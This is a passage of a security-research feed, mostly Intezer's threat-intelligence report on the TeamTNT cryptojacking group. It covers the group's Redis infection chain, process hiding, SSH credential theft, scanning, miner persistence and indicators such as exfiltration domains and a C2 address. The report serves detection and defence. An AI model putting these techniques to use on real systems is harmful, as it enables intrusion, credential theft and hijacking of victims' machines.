javautils&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;File Names Hidden&lt;span class="hx:absolute hx:-mt-20" id="file-names-hidden"&gt;&lt;/span&gt;
&lt;a href="#file-names-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;apache2start
apache2stop
profiles.php
404erro.php
javaserverx64
javaclientex64
javanodex86
liblinux.so
java.h
open.h
mpt86.h
sqlsearch.php
indexq.php
mt64.so
certbot.h
cert.h
certbotx64
certbotx86
javautils
search.so&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Credential Exfil Domains&lt;span class="hx:absolute hx:-mt-20" id="credential-exfil-domains"&gt;&lt;/span&gt;
&lt;a href="#credential-exfil-domains" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;*.x3206.caixa.cx
*.dev21.bancodobrasil.dev&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>TeamTNT Cryptomining Explosion 🧨</title><link>https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/</link><pubDate>Fri, 18 Feb 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/</guid><description>
&lt;h2&gt;Zusammenfassung (Executive Summary)&lt;span class="hx:absolute hx:-mt-20" id="zusammenfassung-executive-summary"&gt;&lt;/span&gt;
&lt;a href="#zusammenfassung-executive-summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Over the past year the TeamTNT threat actor has been very active. TeamTNT is one
of the predominant cryptojacking threat actors currently targeting Linux
servers. This blog investigates the threat actor&amp;rsquo;s activity and their Tactics,
Techniques and Procedures (TTPs)—providing all of this information in one place
so security teams can better detect and prevent attacks from TeamTNT.&lt;/p&gt;
&lt;p&gt;Based on our findings, we can conclude that they have been active since the Fall
of 2019, six months before the first public report on the threat actor&amp;rsquo;s
activity. As of this writing, TeamTNT is mainly focused on compromising &lt;a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"target="_blank" rel="noopener"&gt;Kubernetes&lt;/a&gt;
clusters. Prior to this, they used to target servers running &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Docker&lt;/a&gt; and Redis. We
at Intezer also uncovered Windows binaries hosted on a TeamTNT server that was
potentially an experiment to target Windows machines.&lt;/p&gt;
&lt;p&gt;Much of the threat actor&amp;rsquo;s tooling has stayed consistent throughout their
different campaigns. The majority of their tools are based on shell scripts but
they also use some &amp;ldquo;tried and tested&amp;rdquo; compiled binaries in the attack chains.
For example, the use of the Tsunami malware, first documented by &lt;a href="https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;, has been a
staple of TeamTNT&amp;rsquo;s campaigns since October 2019. In addition to cryptojacking,
a second objective for the threat actor has been to exfiltrate information about
compromised hosts.&lt;/p&gt;
&lt;p&gt;As early as the Winter of 2020, Intezer saw the threat actor utilizing novel
techniques to steal SSH credentials from the compromised machine when it was
being used by administrators.&lt;/p&gt;
&lt;p&gt;TeamTNT has employed techniques to hide their activities on compromised
machines, making incident response investigations more difficult. All of their
scripts are designed to be executed without being written to disk or self
deleted after execution. They have used techniques of hiding their running
processes by mounting an empty folder over the process entry within the procfs,
or by using &lt;a href="https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool"target="_blank" rel="noopener"&gt;UserLand&lt;/a&gt; and &lt;a href="https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials"target="_blank" rel="noopener"&gt;kernel level rootkits&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The threat actor maintains a public persona on Twitter using the handle &lt;a href="https://twitter.com/hildeTNT"target="_blank" rel="noopener"&gt;HildeTNT&lt;/a&gt;. The
majority of their tweets are written in German and the account&amp;rsquo;s location is set
to Germany. In addition, many comments in the shell scripts used by the threat
actor are written in German. Therefore, it can be assumed that TeamTNT&amp;rsquo;s country
of origin is Germany. Much of their interaction with the security industry is
via commenting on reports covering their campaigns, mostly to point out
incorrect conclusions. During the Spring of 2021, TeamTNT refuted some campaigns
attributed to them. The tools used in these campaigns were based on some of
TeamTNT&amp;rsquo;s older scripts but not something they currently were using. This
suggests another threat actor has started to copy TeamTNT.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Die Einführung (Intro)&lt;span class="hx:absolute hx:-mt-20" id="die-einführung-intro"&gt;&lt;/span&gt;
&lt;a href="#die-einf%c3%bchrung-intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Since the introduction of Amazon Web Services (AWS), there has been a steady
migration from on-premise to cloud deployments. As part of this migration, the
security around services has also changed. On-prem deployments can sometimes be
more forgiving as a misconfigured service would also be behind a corporate
firewall, resulting in it not being exposed to everyone over the internet. A
misconfigured cloud service can be low-hanging fruit for an attacker. Palo Alto
Networks &lt;a href="https://unit42.paloaltonetworks.com/docker-honeypot/"target="_blank" rel="noopener"&gt;investigated&lt;/a&gt; the attacks against cloud servers during the Spring of 2021 via a
Docker honeypot, finding that it was attacked about every 90 minutes. Of these
attacks, around 76% were by cryptojacking threat actors. One of the most active
actors in this field is TeamTNT.&lt;/p&gt;
&lt;p&gt;The first public report on TeamTNT was published in May 2020 by &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt; and covered
attacks against servers running exposed Docker instances. While this is early
activity, it is not the earliest that can be attributed to the threat actor. As
part of this report, we will share our knowledge about campaigns that took place
during February the same year and also provide evidence that TeamTNT has been
active since at least October 2019.&lt;/p&gt;
&lt;p&gt;The first set of campaigns by TeamTNT targeted only Redis instances. Throughout
their over a year and a half tenure, they have migrated away from focusing on
Redis to instead target Docker services and most recently Kubernetes clusters.
This includes the use of cloud &lt;a href="../../../2020/09/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"&gt;monitoring software&lt;/a&gt; to deploy cryptominers on vulnerable servers.&lt;/p&gt;
&lt;p&gt;The techniques and tools used by the threat actor have slightly evolved over
time but the general desired outcome has been the same. The first campaign that
we at Intezer uncovered, taking place around February 2020, used techniques for
stealing credentials and tried to stay hidden on the compromised system. Many of
the tools that are still used were leveraged in the first set of campaigns.&lt;/p&gt;
&lt;p&gt;For example, the Tsunami Internet Relay Chat (IRC) bot and the backdoor known as
Rathole were used. The majority of tools used by TeamTNT are either open-source
or source-code-available but we have also identified some custom written tools
and a possible pivot to targeting Windows machines. This is an interesting
deviation, since TeamTNT appears to be heavily invested in targeting *NIX
servers. The more recent campaigns have targeted Kubernetes and cloud workloads
with the goal to steal cloud-related configurations and credentials, in addition
to &lt;a href="../../../2021/01/a-rare-look-inside-a-cryptojacking-campaign-and-its-profit/"&gt;running cryptominers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TeamTNT is a bit of an anomaly when it comes to cryptojacking threat actors.
They have a public presence on the clear web while most threat actors stay
hidden in the shadows. The threat actor has a public profile on Twitter and
sometimes interacts with the research community tweeting about the success of
their current campaigns. Based on their social media account they are located in
Germany and the majority of their tweets are written in German. The threat
actor&amp;rsquo;s interaction with the research community mostly takes the form of
commenting on incorrect conclusions made by analysts.&lt;/p&gt;
&lt;p&gt;During the Spring of 2021 some new campaigns were uncovered that looked to have
all the makings of TeamTNT. In both cases, the threat actor was quick to point
out that it was not their campaign but rather someone was reusing their old
scripts to make it look like it was them. Prior to this, TeamTNT had not refuted
any campaigns attributed to them. Instead, they were mostly using Twitter to
show off their capabilities.&lt;/p&gt;
&lt;p&gt;The activity from TeamTNT does not appear to be slowing down. They continue to
reuse their tools in their attacks. This may be because their operations are
unhampered by security tools. Because of this and the potential misinformation
about the threat actor, we decided to take a deeper dive into TeamTNT&amp;rsquo;s
activities to gain a better understanding of their timeline and Tactics,
Techniques, and Procedures (TTPs). With this knowledge, we aim to organize all
of this information properly into one resource to help security teams better
detect and prevent attacks from this threat actor.&lt;/p&gt;
&lt;h2&gt;Der Anfang (The Beginning)&lt;span class="hx:absolute hx:-mt-20" id="der-anfang-the-beginning"&gt;&lt;/span&gt;
&lt;a href="#der-anfang-the-beginning" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The first public report on TeamTNT&amp;rsquo;s activity was published by &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt; in May 2020.
While this report covers some of the early activities, it does not include the
initial activity that can be traced back to the threat actor. One of the network
indicators of compromise in this report is the domain name &lt;strong&gt;teamtnt[.]red&lt;/strong&gt;.
This domain was registered on February 10, 2020 and is one of the first
references to &amp;lsquo;TeamTNT&amp;rsquo; by the threat actor. This infrastructure was used by the
threat actor against attacks on unprotected Redis servers. The initial &amp;ldquo;setup&amp;rdquo;
script used in this campaign was &lt;a href="https://www.virustotal.com/gui/file/dad3016b75e89b415e3c7e360ec2ffa31e48b667082843013bbff719add826c7/details"target="_blank" rel="noopener"&gt;uploaded to VirusTotal&lt;/a&gt; on February 26, 2020. The setup script
downloads the rest of the modules used in the attack. Many of them are shell
scripts that are directly piped to either &lt;strong&gt;bash&lt;/strong&gt; or &lt;code&gt;/bin/sh&lt;/code&gt; but some files
were also written to disk. Figure 1 shows a diagram of all the parts downloaded
and executed by the different modules. The oldest files that we were able to
capture were added to the server four days after the domain name was registered,
giving us a good indication of when the initial campaign might have started.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig2.png" title="Figure 1: Diagram showing how different parts are downloaded and executed when the threat actor compromises an unprotected Redis server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Diagram showing how different parts are downloaded and executed when the threat actor compromises an unprotected Redis server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;The Setup&lt;span class="hx:absolute hx:-mt-20" id="the-setup"&gt;&lt;/span&gt;
&lt;a href="#the-setup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The infection on the machine started with the execution of the &lt;code&gt;setup.sh&lt;/code&gt; shell
script that was located in a subfolder called &lt;strong&gt;load&lt;/strong&gt;. This script is
responsible for downloading and executing the other parts of the toolchain used
by TeamTNT. The file has a comment on the top as can be seen in Figure 2.
According to the comment, the file was the module &lt;strong&gt;scan/pwn Redis Server
Setup&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig3.png" title="Figure 2: The first few lines of the setup.sh file. The file sets up the machine to scan and infect other Redis servers." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: The first few lines of the setup.sh file. The file sets up the machine to scan and infect other Redis servers.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;One of the first things the script does is check if a specific binary is running. If it doesn&amp;rsquo;t run, it downloads a setup script called &lt;code&gt;whois2.irc.sh&lt;/code&gt; for this binary. The binary installed by this shell script is an instance of the Tsunami malware. For more information about this malware, see the Tools section.&lt;/p&gt;
&lt;p&gt;Two additional shell scripts were downloaded from the server (hosted at
teamtnt.red), &lt;code&gt;tmp.min.sh&lt;/code&gt; and &lt;code&gt;sysinfo.txt&lt;/code&gt;. The first shell script installs
the miner on the infected machine while the second collects host information.&lt;/p&gt;
&lt;p&gt;Following the download and execution of the shell scripts, the scripts try to
hide their process. The shell commands executed are shown in Figure 3. To hide
the process, a shell script is created at &lt;code&gt;/bin/hid&lt;/code&gt;. The shell script hides the
process by first making a copy of &lt;code&gt;/etc/mtab&lt;/code&gt;. After this, it mounts an empty
folder over the process&amp;rsquo;s folder under &lt;code&gt;/proc&lt;/code&gt;. Lastly, it overwrites the
&lt;code&gt;/etc/mtab&lt;/code&gt; file or symbolic link with the copy it made before the mount. These
steps hide the process from programs that walk the &lt;code&gt;/proc&lt;/code&gt; filesystem, for
example, &lt;strong&gt;ps&lt;/strong&gt; and &lt;strong&gt;top&lt;/strong&gt;. If an admin checks the &lt;strong&gt;mtab&lt;/strong&gt; file the mount
entry is not present, but listing the mount points by executing the &lt;strong&gt;mount&lt;/strong&gt;
command shows bind mount. After the setup executes the &lt;strong&gt;hid&lt;/strong&gt; shell script it
mounts another instance of the &lt;strong&gt;proc&lt;/strong&gt; filesystem under &lt;code&gt;/proc&lt;/code&gt;. This
essentially results in undoing the process performed by the &lt;strong&gt;hid&lt;/strong&gt; shell
script.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig4.png" title="Figure 3: Section of the setup script that creates a shell script for the hiding process." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Section of the setup script that creates a shell script for the hiding process.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To prevent other threat actors from also compromising the Redis instance, the setup script added &lt;strong&gt;iptables&lt;/strong&gt; rules to only accept connections on port 6379 from localhost. The shell script also performs a request to the C2 server that appears to be for logging the infected machine&amp;rsquo;s IP address.&lt;/p&gt;
&lt;p&gt;During this campaign, the threat actor focused on compromising unprotected Redis
servers. The setup script creates the payload that is executed on the Redis
servers. The code is shown in Figure 4. It&amp;rsquo;s using Redis&amp;rsquo;s &lt;a href="https://redis.io/commands/FLUSHALL"target="_blank" rel="noopener"&gt;FLUSHALL&lt;/a&gt; issue to create a
cron job that downloads a setup script. This setup script is almost identical to
the main setup script, except that it doesn&amp;rsquo;t set up Tsunami.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig5.png" title="Figure 4: Code for creating the Redis payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Code for creating the Redis payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The setup script checks if Tsunami and bioset are running. If they are, the script restarts the processes to hide them with the &lt;strong&gt;hid&lt;/strong&gt; shell script. If they are not running, it downloads them followed by starting and hiding them.&lt;/p&gt;
&lt;p&gt;To find other Redis servers to infect, the threat actor uses &lt;strong&gt;pnscan&lt;/strong&gt;. The
setup script downloads the source code for the scanner and compiles it. The
scanner is &amp;ldquo;installed&amp;rdquo; at &lt;code&gt;/usr/sbin/dbus-daemon&lt;/code&gt;. Another shell script is
downloaded that handles scanning and sending the payload to any found Redis
servers. When all stages have been downloaded and started, the setup script
removes itself from the infected host.&lt;/p&gt;
&lt;h3&gt;DDoS Bot Setup&lt;span class="hx:absolute hx:-mt-20" id="ddos-bot-setup"&gt;&lt;/span&gt;
&lt;a href="#ddos-bot-setup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This shell script downloads and installs the Tsunami DDoS bot. The script
installs the binary to two different places based on if the script was executed
as root or not, Figure 5. If it is executed as root, the malware is installed to
&lt;code&gt;/bin/kthreadd&lt;/code&gt;, otherwise, it is installed to &lt;code&gt;/tmp/.tmp&lt;/code&gt;. Before installing
the malware, the script flushes and deletes all the &lt;strong&gt;iptables&lt;/strong&gt; chains to
ensure it can connect to the C2 server without any resistance.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig6.png" title="Figure 5: The script installs the bot under /bin if it has root permissions. Otherwise, it is installed into the /tmp folder." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: The script installs the bot under /bin if it has root permissions. Otherwise, it is installed into the /tmp folder.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Gather Information About the System&lt;span class="hx:absolute hx:-mt-20" id="gather-information-about-the-system"&gt;&lt;/span&gt;
&lt;a href="#gather-information-about-the-system" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The file &lt;code&gt;sysinfo.txt&lt;/code&gt;, while disguised as a text file, is a shell script that
is executed by the setup script. A &amp;ldquo;lock&amp;rdquo; file is created in case the script is
executed multiple times on the same machine. Figure 6 shows the check for the
lock file. If it exists, the script exits early. If this is the first time it&amp;rsquo;s
executed, it starts collecting information about the machine. In the same
figure, the logic used to determine the available RAM is also shown.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig7.png" title="Figure 6: Part of the script that checks if system information has already been collected for the machine. If it hasn&amp;#39;t, it gets the available ram." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Part of the script that checks if system information has already been collected for the machine. If it hasn&amp;#39;t, it gets the available ram.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script also collects: username of the user executing the script, CPU speed, how long the machine has been running, if it&amp;rsquo;s 32 or 64-bit, the number of CPU cores, and which Linux distribution. All this information is sent to the threat actor&amp;rsquo;s server via the &lt;strong&gt;wget&lt;/strong&gt; command shown in Figure 7. When the script is done, it deletes itself.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig8.png" title="Figure 7: Exfiltration of host information to the actor-controlled server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Exfiltration of host information to the actor-controlled server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Capture SSH Credentials&lt;span class="hx:absolute hx:-mt-20" id="capture-ssh-credentials"&gt;&lt;/span&gt;
&lt;a href="#capture-ssh-credentials" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;s_poor.ssh.sh&lt;/code&gt; shell script is downloaded by the setup script and according
to the comment at the top of the file, shown in Figure 8, it is used to steal
SSH credentials.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig9.png" title="Figure 8: Comment at the top of the SSH credential stealing module." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Comment at the top of the SSH credential stealing module.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The module uses &lt;strong&gt;strace&lt;/strong&gt; in combination with a shell &lt;strong&gt;alias&lt;/strong&gt; to log the activity. A cron job is used to upload the log files to a threat actor-controlled server. As can be seen in Figure 9, the script adds the alias code to the &lt;strong&gt;bashrc&lt;/strong&gt; file for the root user and all the normal users on the machine. After this, when a user uses &lt;strong&gt;SSH&lt;/strong&gt; to connect to another machine, strace is used to log the activity to a log file. The cron job seen added in the same figure executes the upload script every five minutes.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig10.png" title="Figure 9: SSH credential collection via strace. The log files are uploaded every five minutes via a cron job." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: SSH credential collection via strace. The log files are uploaded every five minutes via a cron job.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The upload script is relatively simple, shown in Figure 10. It checks if the log files exist. If they do, it uses &lt;strong&gt;curl&lt;/strong&gt; to upload the files before it is removed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig11.png" title="Figure 10: Upload script for the strace logs." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Upload script for the strace logs.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Scan for Other Machines to Compromise&lt;span class="hx:absolute hx:-mt-20" id="scan-for-other-machines-to-compromise"&gt;&lt;/span&gt;
&lt;a href="#scan-for-other-machines-to-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &lt;strong&gt;dbus-config&lt;/strong&gt; file downloaded by the setup script is a Redis exploit/scan
module. As can be seen in Figure 11, it uses &lt;strong&gt;pnscan&lt;/strong&gt; that was downloaded and
compiled earlier. It scans the whole IPv4 space for other Redis servers. If it
finds another server, it uses the Redis client on the machine to send the
payload, which causes the exploited service to set up a cron job that will
download the setup script.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig12.png" title="Figure 11: Redis scanning functionality." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Redis scanning functionality.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The results are uploaded to a threat actor-controlled server as can be seen in Figure 12.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig13.png" title="Figure 12: Scan results uploaded to a threat actor-controlled server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: Scan results uploaded to a threat actor-controlled server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Cryptomining&lt;span class="hx:absolute hx:-mt-20" id="cryptomining"&gt;&lt;/span&gt;
&lt;a href="#cryptomining" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;tmp.min.sh&lt;/code&gt; shell script&amp;rsquo;s main job is to set up the mining process. It
downloads the miner, a watchdog process, and the configuration file. The
installation process depends on if the shell scripts have root permissions or
not. If they do, a second stage is downloaded and executed to perform the root
setup. Otherwise, the scripts download and install the files into the temp
directory. The configuration is modified to be unique for each infected host. A
worker ID is created based on the username of the user executing the script and
the machine name. The miner used is a fork of XMRig called &lt;a href="https://github.com/Bendr0id/xmrigCC"target="_blank" rel="noopener"&gt;XMRigCC&lt;/a&gt;. It provides a
dashboard that can be used to control the miner. The command center used in the
campaign was located at &lt;code&gt;80.211.206.105&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Watchdogd Process&lt;span class="hx:absolute hx:-mt-20" id="watchdogd-process"&gt;&lt;/span&gt;
&lt;a href="#watchdogd-process" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The watchdogd binary is a simple application written in C++. A code reuse
analysis is shown in Figure 13. Its sole purpose is to ensure that the miner is
running. It does this by using a loop to call libc&amp;rsquo;s &lt;strong&gt;system&lt;/strong&gt; function. If the
process exits, the call to the system is repeated.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig14.png" title="Figure 13: Code reuse analysis of the watchdogd binary." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: Code reuse analysis of the watchdogd binary.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;NarrenKappe&lt;span class="hx:absolute hx:-mt-20" id="narrenkappe"&gt;&lt;/span&gt;
&lt;a href="#narrenkappe" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;NarrenKappe, which translates to jester hat, is a mining setup script that is
executed if the script has root-level permissions. Since it has higher
permissions, it performs some additional actions than when executed as a normal
user.&lt;/p&gt;
&lt;p&gt;First, it checks if the watchdog process is running and exits the setup.
Otherwise, it checks if old files from a previous infection exist on the machine
and removes them. Following this, it removes all the cron jobs on the machine.
It tries to clean out other infections using the commands in Figure 14.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig15.png" title="Figure 14: Commands used to clean the system." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 14: Commands used to clean the system.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script downloads a 64-bit or 32-bit miner depending on what is supported as can be seen in Figure 15.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig16.png" title="Figure 15: Download and installation steps used by the mining setup script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 15: Download and installation steps used by the mining setup script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The mining configuration is modified to include a unique identifier for the infected host. The logic is shown in Figure 16.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig17.png" title="Figure 16: Logic for modifying the mining software&amp;#39;s configuration file with host information." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 16: Logic for modifying the mining software&amp;#39;s configuration file with host information.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script ensures the processes are started again if the machine is rebooted. The script adds either a System V init script or a systemd service depending on what is used by the system. The commands executed in either path are shown in Figure 17.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig18.png" title="Figure 17: Code for adding either a System V init script or a systemd service." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 17: Code for adding either a System V init script or a systemd service.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
